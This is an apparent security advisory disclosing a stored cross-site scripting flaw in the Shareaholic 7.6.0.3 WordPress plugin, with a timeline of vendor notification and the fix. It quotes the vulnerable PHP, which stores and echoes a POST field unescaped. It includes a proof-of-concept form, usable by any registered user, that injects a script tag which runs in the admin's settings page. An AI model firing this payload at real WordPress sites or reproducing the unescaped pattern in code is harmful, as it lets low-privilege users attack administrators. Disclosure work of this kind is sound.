07-04-2015 / Vulnerabilities

Shareaholic 7.6.0.3 XSS

ShareaholicAdmin::add_location is accessible for every registered user.

File: shareaholic\shareaholic.php

add_action('wp_ajax_shareaholic_add_location',  array('ShareaholicAdmin', 'add_location'));

$_POST['location'] is not escaped.

File: shareaholic\admin.php

public static function add_location() {
	$location = $_POST['location'];
	$app_name = $location['app_name'];
	ShareaholicUtilities::update_options(array(
	  'location_name_ids' => array(
	    $app_name => array(
	      $location['name'] => $location['id']
	    ),
	  ),
	  $app_name => array(
	    $location['name'] => 'on'
	  )
	));
	echo json_encode(array(
	  'status' => "successfully created a new {$location['app_name']} location",
	  'id' => $location['id']
	));
	die();
}

We save $_POST['location'] as shareaholic_settings.

File: shareaholic\utilities.php

public static function update_options($array) {
	$old_settings = self::get_settings();
	$new_settings = self::array_merge_recursive_distinct($old_settings, $array);
	update_option('shareaholic_settings', $new_settings);
}

Then it's displayed as $location_id on admin page.

File: shareaholic\templates\settings.php

<?php foreach(array('post', 'page', 'index', 'category') as $page_type) { ?>
  <?php foreach(array('below') as $position) { ?>
    <?php if (isset($settings['location_name_ids']['recommendations']["{$page_type}_{$position}_content"])) { ?>
      <?php $location_id = $settings['location_name_ids']['recommendations']["{$page_type}_{$position}_content"] ?>
    <?php } else { $location_id = ''; } ?>
    <fieldset id='recommendations'>
      <legend><?php echo ucfirst($page_type) ?></legend>
        <div>
          <input type="checkbox" id="recommendations_<?php echo "{$page_type}_below_content" ?>" name="recommendations[<?php echo "{$page_type}_below_content" ?>]" class="check"
          <?php if (isset($recommendations["{$page_type}_below_content"])) { ?>
            <?php echo ($recommendations["{$page_type}_below_content"] == 'on' ? 'checked' : '') ?>
          <?php } ?>>
          <label for="recommendations_<?php echo "{$page_type}_below_content" ?>"><?php echo ucfirst($position) ?> Content</label>
          <button data-app='recommendations'
                  data-location_id='<?php echo $location_id ?>'
                  data-href="recommendations/locations/{{id}}/edit"
                  class="mll btn btn-success">
          <?php _e('Customize', 'shareaholic'); ?></button>
        </div>
      <?php } ?>
  </fieldset>
<?php } ?>

Proof of Concept

Login as regular user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="shareaholic_add_location">
    <input type="hidden" name="location[app_name]" value="recommendations">
    <input type="hidden" name="location[name]" value="post_below_content">
    XSS: <input type="text" name="location[id]" value="'><script>alert(String.fromCharCode(88,83,83));</script>">
    <input type="submit" value="Hack!">
</form>

XSS will be visible for admin:

http://wordpress-install/wp-admin/admin.php?page=shareaholic-settings

Timeline

  • 10-11-2014: Discovered
  • 10-11-2014: Vendor notified
  • 26-02-2015: Second notification
  • 28-02-2015: Version 7.6.1.0 released, issue resolved